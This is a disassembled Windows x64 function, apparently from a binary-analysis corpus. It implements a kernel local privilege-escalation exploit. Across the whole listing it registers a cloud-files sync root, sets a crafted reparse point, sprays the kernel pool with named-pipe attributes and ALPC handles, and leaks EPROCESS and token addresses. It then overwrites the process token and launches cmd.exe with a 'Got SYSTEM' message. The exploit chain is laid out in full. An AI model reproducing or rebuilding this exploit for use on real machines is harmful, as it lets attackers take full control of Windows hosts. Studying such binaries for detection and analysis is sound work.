Function at 0x140011316
Capabilities:
Compress data via winapi
Create process on windows
Link many functions at runtime
Set registry value

Disassembly:
jmp 0x1400135a0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0xf00
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x288
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0xf28]
mov rax, qword [0x140022018]
xor rax, rbp
mov qword [rbp + 0xe98], rax
lea rcx, [0x1400280a3]
call fcn.140011465
mov dword [rbp + 0x44], 1
lea rax, [rbp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rbp + 0xf8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov qword [rbp + 0x128], 0
lea rax, str.C:ProgramData_
mov qword [rbp + 0x148], rax
mov rcx, qword [rbp + 0x148]
call fcn.1400110af
mov dword [rbp + 0x164], 0x1000
mov edx, 8
mov ecx, 0x1000
call qword [sym.imp.ucrtbased.dll_calloc]
mov qword [rbp + 0x188], rax
mov dword [rbp + 0x1a4], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0xec0], 2
jne 0x1400136ae
mov eax, 8
imul rax, rax, 1
mov r8d, 0xa
xor edx, edx
mov rcx, qword [rbp + 0xec8]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_strtol]
mov dword [rbp + 0x1c4], eax
mov dword [rbp + 0x1a4], 0
call fcn.140011424
test eax, eax
jne 0x1400136c8
lea rcx, str.____Windows_version_is_not_supported_n
call fcn.140011208
jmp 0x14001455b
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp + 0x1e8], rax
lea rdx, str.NtFsControlFile
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140022188], rax
lea rdx, str.NtCreateFile
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140022180], rax
lea rdx, str.RtlGetCompressionWorkSpaceSize
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140022190], rax
lea rdx, str.RtlCompressBuffer
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140022198], rax
lea rdx, str.NtQuerySystemInformation
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400221a0], rax
call fcn.14001141a
test eax, eax
jne 0x14001377d
lea rcx, str.____Pipe_initialization_failed_n
call fcn.140011208
jmp 0x14001455b
lea rcx, str.___Preparation..._n
call fcn.140011208
mov edx, 0x1000
mov rcx, qword [rbp + 0x188]
call fcn.140011096
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x1400137b4
lea rcx, str.____CreateALPCPorts_failed_n
call fcn.140011208
jmp 0x14001455b
mov dword [rbp + 0x204], 0x4000
mov dword [rbp + 0x224], 0x401
mov r8d, 0x400
mov edx, 0x1000
mov rcx, qword [rbp + 0x188]
call fcn.140011389
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x1400137f9
lea rcx, str.____CreateALPCPorts_failed_n
call fcn.140011208
jmp 0x14001455b
lea rax, [rbp + 0x250]
mov rdi, rax
xor eax, eax
mov ecx, 0x48
rep stosb byte [rdi], al
mov dword [rbp + 0x250], 0x48
lea rax, str.test
mov qword [rbp + 0x258], rax
lea rax, [0x14001ebc8]
mov qword [rbp + 0x260], rax
mov dword [rbp + 0xe38], 0xb196e670
mov eax, 0x59c7
mov word [rbp + 0xe3c], ax
mov eax, 0x4d41
mov word [rbp + 0xe3e], ax
lea rax, [rbp + 0xe40]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea rax, [rbp + 0x284]
lea rcx, [rbp + 0xe38]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x2b8]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rbp + 0x2bc]
call fcn.140011172
lea rcx, [rbp + 0x2be]
call fcn.14001103c
lea rcx, [rbp + 0x2c0]
call fcn.14001135c
lea rcx, [rbp + 0x2c2]
call fcn.140011343
lea rax, [rbp + 0x2c4]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov dword [rbp + 0x2b8], 0x18
mov dword [rbp + 0x2c8], 1
xor edx, edx
lea rcx, [rbp + 0xe64]
call fcn.1400114a6
movzx eax, word [rbp + 0xe64]
mov word [rbp + 0x2bc], ax
mov dword [rbp + 0x2c4], 0
xor edx, edx
lea rcx, [rbp + 0xe84]
call fcn.1400112ad
movzx eax, word [rbp + 0xe84]
mov word [rbp + 0x2c0], ax
mov r9d, 2
lea r8, [rbp + 0x2b8]
lea rdx, [rbp + 0x250]
mov rcx, qword [rbp + 0x148]
call fcn.140011113
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x140013968
lea rcx, str.____CfRegisterSyncRoot_failed_n
call fcn.140011208
jmp 0x14001455b
lea rax, [rbp + 0x318]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
lea rax, [rbp + 0x368]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov r9, qword [rbp + 0x148]
lea r8, str.___s
mov edx, 0x104
lea rcx, [rbp + 0x3a0]
call fcn.140011154
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x368]
call fcn.1400112d0
mov dword [rbp + 0x318], 0x30
mov qword [rbp + 0x320], 0
mov dword [rbp + 0x330], 0x40
lea rax, [rbp + 0x368]
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x338], 0
mov qword [rbp + 0x340], 0
mov dword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x38], 3
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x2e8]
lea r8, [rbp + 0x318]
mov edx, 0xc0000000
lea rcx, [rbp + 0x128]
call qword [0x140022180]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x140013a77
lea rcx, str.____NtCreateFile_failed_n
call fcn.140011208
jmp 0x14001455b
mov edx, 0x50
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_calloc]
mov qword [rbp + 0x5c8], rax
mov edx, 0x138
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_calloc]
mov qword [rbp + 0x5e8], rax
mov rax, qword [rbp + 0x5c8]
add rax, 0x20
mov qword [rbp + 0x608], rax
mov rax, qword [rbp + 0x5e8]
add rax, 0x20
mov qword [rbp + 0x628], rax
mov eax, 1
imul rax, rax, 1
mov rcx, qword [rbp + 0x5c8]
mov byte [rcx + rax], 7
mov eax, 1
imul rax, rax, 8
mov rcx, qword [rbp + 0x5c8]
mov byte [rcx + rax], 1
mov eax, 1
imul rax, rax, 8
mov rcx, qword [rbp + 0x5e8]
mov byte [rcx + rax], 1
mov rax, qword [rbp + 0x608]
mov qword [rax + 0x20], 0x28
mov rax, qword [rbp + 0x608]
mov rcx, qword [rbp + 0x628]
mov qword [rax + 0x18], rcx
mov rax, qword [rbp + 0x628]
mov rcx, qword [rbp + 0x608]
mov qword [rax + 0x60], rcx
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x608]
mov qword [rbp + rax + 0x648], rcx
mov eax, 8
imul rax, rax, 0
lea rax, [rbp + rax + 0x648]
mov edx, 8
mov rcx, rax
call fcn.14001123a
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x668]
movzx eax, word [rax + 4]
mov dword [rbp + 0x684], eax
mov rax, qword [rbp + 0x668]
mov qword [rbp + 0x6a8], rax
mov eax, dword [rbp + 0x684]
add eax, 8
mov dword [rbp + 0x684], eax
mov dword [rbp + 0x6c4], 0x20
mov eax, dword [rbp + 0x6c4]
mov ecx, dword [rbp + 0x684]
add ecx, eax
mov eax, ecx
mov eax, eax
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rdx, rax
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_calloc]
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
mov dword [rax], 0
mov rax, qword [rbp + 0x6e8]
mov dword [rax + 4], 0x9000301a
mov eax, dword [rbp + 0x684]
mov ecx, dword [rbp + 0x6c4]
mov rdx, qword [rbp + 0x6e8]
add rdx, rcx
mov rcx, rdx
mov r8d, eax
mov rdx, qword [rbp + 0x6a8]
call fcn.14001122b
mov eax, dword [rbp + 0x6c4]
mov ecx, dword [rbp + 0x684]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], eax
mov rax, qword [rbp + 0x6e8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x9040c
lea rax, [rbp + 0x2e8]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x128]
call qword [0x140022188]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x140013c96
lea rcx, str.____NtFsControlFile_FSCTL_SET_REPARSE_POINT_EX__failed_n
call fcn.140011208
jmp 0x14001455b
lea rcx, str.___Pool_Spray_n
call fcn.140011208
mov dword [rbp + 0x704], 0x4000
mov eax, dword [rbp + 0x704]
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x728], rax
mov eax, dword [rbp + 0x704]
mov r8d, eax
mov edx, 0x11
mov rcx, qword [rbp + 0x728]
call fcn.14001138e
lea r9, [0x14001ec8c]
mov r8, qword [rbp + 0x728]
mov edx, 1
mov ecx, 0x1000
call fcn.14001137a
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x140013d12
lea rcx, str.____PipePoolSprayAlloc_failed_n
call fcn.140011208
jmp 0x14001455b
lea r9, [0x14001ecb8]
mov r8, qword [rbp + 0x728]
mov edx, 0x1000
mov ecx, 0x4000
call fcn.14001137a
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x140013d49
lea rcx, str.____PipePoolSprayAlloc_failed_n
call fcn.140011208
jmp 0x14001455b
lea r9, [0x14001ecbc]
mov r8, qword [rbp + 0x728]
mov edx, 0x1000
mov ecx, 0x4000
call fcn.14001137a
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x140013d80
lea rcx, str.____PipePoolSprayAlloc_failed_n
call fcn.140011208
jmp 0x14001455b
mov dword [rbp + 0x744], 0
mov dword [rbp + 0x764], 0
jmp 0x140013da5
mov eax, dword [rbp + 0x764]
add eax, 2
mov dword [rbp + 0x764], eax
cmp dword [rbp + 0x764], 0x1000
jge 0x140013e1f
mov eax, dword [rbp + 0x704]
mov ecx, dword [rbp + 0x764]
mov dword [rsp + 0x20], ecx
lea r9, [0x14001ecbc]
lea r8, str._s_x
mov edx, eax
mov rcx, qword [rbp + 0x728]
call fcn.14001132a
mov rcx, qword [rbp + 0x728]
call fcn.1400111db
inc rax
mov edx, eax
mov rcx, qword [rbp + 0x728]
call fcn.140011456
test eax, eax
jne 0x140013e0c
lea rcx, str.____PipeWriteAttr_failed_n
call fcn.140011208
jmp 0x140013e1f
mov eax, dword [rbp + 0x744]
inc eax
mov dword [rbp + 0x744], eax
jmp 0x140013d96
mov r8d, 1
mov edx, 0x1000
mov rcx, qword [rbp + 0x188]
call fcn.140011389
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x140013e50
lea rcx, str.____AllocateALPCReserveHandles_failed_n
call fcn.140011208
jmp 0x14001455b
mov dword [rbp + 0x784], 1
jmp 0x140013e6b
mov eax, dword [rbp + 0x784]
add eax, 2
mov dword [rbp + 0x784], eax
cmp dword [rbp + 0x784], 0x1000
jge 0x140013ed4
mov eax, dword [rbp + 0x704]
mov ecx, dword [rbp + 0x784]
mov dword [rsp + 0x20], ecx
lea r9, [0x14001ecbc]
lea r8, str._s_x
mov edx, eax
mov rcx, qword [rbp + 0x728]
call fcn.14001132a
mov rcx, qword [rbp + 0x728]
call fcn.1400111db
inc rax
mov edx, eax
mov rcx, qword [rbp + 0x728]
call fcn.140011456
test eax, eax
jne 0x140013ed2
lea rcx, str.____PipeWriteAttr_failed_n
call fcn.140011208
jmp 0x140013ed4
jmp 0x140013e5c
mov rcx, qword [rbp + 0x728]
call qword [sym.imp.ucrtbased.dll_free]
mov edx, 0x100
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_calloc]
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
mov dword [rax], 0x9000001a
mov rax, qword [rbp + 0x7a8]
mov dword [rax + 4], 0xc0000003
mov rax, qword [rbp + 0x7a8]
mov dword [rax + 8], 0x10000
mov dword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0x100
mov rax, qword [rbp + 0x7a8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x903bc
lea rax, [rbp + 0x2e8]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x128]
call qword [0x140022188]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x140013f89
lea rcx, str.____NtFsControlFile_0x903BC__failed_n
call fcn.140011208
jmp 0x14001455b
mov rcx, qword [rbp + 0x7a8]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0x128], 0
mov rcx, qword [rbp + 0x148]
call fcn.1400110af
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x140013fd2
mov edx, dword [rbp + 4]
lea rcx, str.____CfUnregisterSyncRoot_failed_with_0x_x_n
call fcn.140011208
mov qword [rbp + 0x7c8], 0
mov qword [rbp + 0x7e8], 0
mov r8d, dword [rbp + 0x1c4]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x808], rax
cmp qword [rbp + 0x808], 0
jne 0x14001401e
lea rcx, str.____OpenProcess_failed_n
call fcn.140011208
jmp 0x14001455b
mov dword [rbp + 0x824], 0x7441704e
mov qword [rbp + 0x848], 0
mov r8d, 0x1000
mov edx, 0x7441704e
lea rcx, [rbp + 0x848]
call fcn.140011064
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x140014064
lea rcx, str.____GetPoolAddr_failed_n
call fcn.140011208
jmp 0x14001455b
mov rdx, qword [rbp + 0x848]
lea rcx, str.___PipeAttribute_address:__p_n
call fcn.140011208
mov r8d, 4
mov edx, 4
lea rcx, [rbp + 0x7e8]
call fcn.140011055
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x1400140a8
lea rcx, str.____GetObjAddr_failed_n
call fcn.140011208
jmp 0x14001455b
mov rdx, qword [rbp + 0x7e8]
lea rcx, str.___System_EPROCESS:__p_n
call fcn.140011208
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8, qword [rbp + 0x808]
mov edx, eax
lea rcx, [rbp + 0x7c8]
call fcn.140011055
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x1400140f0
lea rcx, str.____GetObjAddr_failed_n
call fcn.140011208
jmp 0x14001455b
mov rdx, qword [rbp + 0x7c8]
lea rcx, str.___Target_EPROCESS:__p_n
call fcn.140011208
mov eax, dword [0x14001ee40]
mov dword [rbp + 0x864], eax
mov edx, 0x1000
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_calloc]
mov qword [rbp + 0x888], rax
mov rax, qword [rbp + 0x848]
add rax, 0x20
mov rcx, qword [rbp + 0x628]
mov qword [rcx + 0xe0], rax
mov rax, qword [rbp + 0x628]
mov qword [rax + 0xe8], 0x10
mov dword [rbp + 0x8f4], 0x10
mov edx, 0x410
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_calloc]
mov qword [rbp + 0x918], rax
mov rax, qword [rbp + 0x918]
movzx ecx, word [rbp + 0x8f4]
mov word [rax], cx
mov eax, dword [rbp + 0x8f4]
add rax, 0x28
mov rcx, qword [rbp + 0x918]
mov word [rcx + 2], ax
mov rax, qword [rbp + 0x918]
mov ecx, dword [0x1400221b8]
mov dword [rax + 0x18], ecx
mov rax, qword [rbp + 0x918]
add rax, 0x28
mov qword [rbp + 0x938], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x938]
mov rdx, qword [rbp + 0x7e8]
mov qword [rcx + rax], rdx
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x938]
mov qword [rcx + rax], 0x787878
mov dword [rbp + 0x954], 0
jmp 0x140014207
mov eax, dword [rbp + 0x954]
inc eax
mov dword [rbp + 0x954], eax
cmp dword [rbp + 0x954], 0x1000
jae 0x140014273
movsxd rax, dword [rbp + 0x954]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x918]
xor edx, edx
mov rcx, qword [rbp + 0x188]
mov rcx, qword [rcx + rax*8]
call fcn.140011393
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x140014271
lea rcx, str.____NtAlpcSendWaitReceivePort_failed_n
call fcn.140011208
jmp 0x140014273
jmp 0x1400141f9
mov r8d, 0x1000
mov rdx, qword [rbp + 0x888]
lea rcx, [rbp + 0x864]
call fcn.140011488
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x1400142a6
lea rcx, str.____PipeReadAttr_failed_n
call fcn.140011208
jmp 0x14001455b
mov eax, dword [section..data]
mov rcx, qword [rbp + 0x888]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x8a8], rax
mov rdx, qword [rbp + 0x8a8]
lea rcx, str.___TOKEN:__p_n
call fcn.140011208
lea rax, [rbp + 0x8c8]
mov rdi, rax
mov rsi, qword [rbp + 0x628]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rbp + 0x8a8]
call fcn.1400113ac
test eax, eax
jne 0x14001430a
lea rcx, str.____Wrong_token_address_n
call fcn.140011208
jmp 0x14001455b
mov r8d, 0x50
xor edx, edx
mov rcx, qword [rbp + 0x5c8]
call fcn.14001138e
mov r8d, 0x138
xor edx, edx
mov rcx, qword [rbp + 0x5e8]
call fcn.14001138e
mov eax, 1
imul rax, rax, 1
mov rcx, qword [rbp + 0x5c8]
mov byte [rcx + rax], 7
mov eax, 1
imul rax, rax, 8
mov rcx, qword [rbp + 0x5c8]
mov byte [rcx + rax], 1
mov eax, 1
imul rax, rax, 8
mov rcx, qword [rbp + 0x5e8]
mov byte [rcx + rax], 1
mov rax, qword [rbp + 0x608]
mov qword [rax + 0x20], 0x28
mov rax, qword [rbp + 0x608]
mov rcx, qword [rbp + 0x628]
mov qword [rax + 0x18], rcx
mov rax, qword [rbp + 0x628]
mov rcx, qword [rbp + 0x608]
mov qword [rax + 0x60], rcx
mov eax, dword [section..data]
mov rcx, qword [rbp + 0x7c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rbp + 0x628]
mov qword [rcx + 0xe0], rax
mov rax, qword [rbp + 0x628]
mov qword [rax + 0xe8], 8
mov dword [rbp + 0x8f4], 8
mov r8d, 0x410
xor edx, edx
mov rcx, qword [rbp + 0x918]
call fcn.14001138e
mov rax, qword [rbp + 0x918]
movzx ecx, word [rbp + 0x8f4]
mov word [rax], cx
mov eax, dword [rbp + 0x8f4]
add rax, 0x28
mov rcx, qword [rbp + 0x918]
mov word [rcx + 2], ax
mov rax, qword [rbp + 0x918]
mov ecx, dword [0x1400221b8]
mov dword [rax + 0x18], ecx
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x938]
mov rdx, qword [rbp + 0x8a8]
mov qword [rcx + rax], rdx
mov dword [rbp + 0x974], 0
jmp 0x14001445d
mov eax, dword [rbp + 0x974]
inc eax
mov dword [rbp + 0x974], eax
cmp dword [rbp + 0x974], 0x1000
jae 0x1400144b2
movsxd rax, dword [rbp + 0x974]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x918]
xor edx, edx
mov rcx, qword [rbp + 0x188]
mov rcx, qword [rcx + rax*8]
call fcn.140011393
jmp 0x14001444f
lea rax, [rbp + 0x8c8]
mov rdi, qword [rbp + 0x628]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp dword [rbp + 0x1a4], 0
je 0x14001453e
lea rax, [rbp + 0xf8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32cmd.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x14001453e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_Create_Target_Process:_0x_X_n
call fcn.140011208
jmp 0x14001455b
lea rcx, str.___Got_SYSTEM__n
call fcn.140011208
mov dword [rbp + 0x44], 0
xor eax, eax
test eax, eax
jne 0x14001365d
cmp qword [rbp + 0x128], 0
je 0x140014572
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x148]
call fcn.1400110af
cmp qword [0x1400221a8], 0
je 0x140014595
mov rcx, qword [0x1400221a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [0x1400221b0], 0
je 0x1400145ac
mov rcx, qword [0x1400221b0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x188]
cmp qword [rcx + rax], 0
je 0x140014603
mov dword [rbp + 0x994], 0
jmp 0x1400145dd
mov eax, dword [rbp + 0x994]
inc eax
mov dword [rbp + 0x994], eax
cmp dword [rbp + 0x994], 0x1000
jae 0x140014603
movsxd rax, dword [rbp + 0x994]
mov rcx, qword [rbp + 0x188]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400145cf
cmp qword [rbp + 0xf8], 0
je 0x14001461f
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, str.___Bye_n
call fcn.140011208
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp + 0x44]
mov edi, eax
lea rcx, [rbp - 0x60]
lea rdx, [0x14001e900]
call fcn.1400113e8
mov eax, edi
mov rcx, qword [rbp + 0xe98]
xor rcx, rbp
call fcn.140011226
lea rsp, [rbp + 0xea0]
pop rdi
pop rsi
pop rbp
ret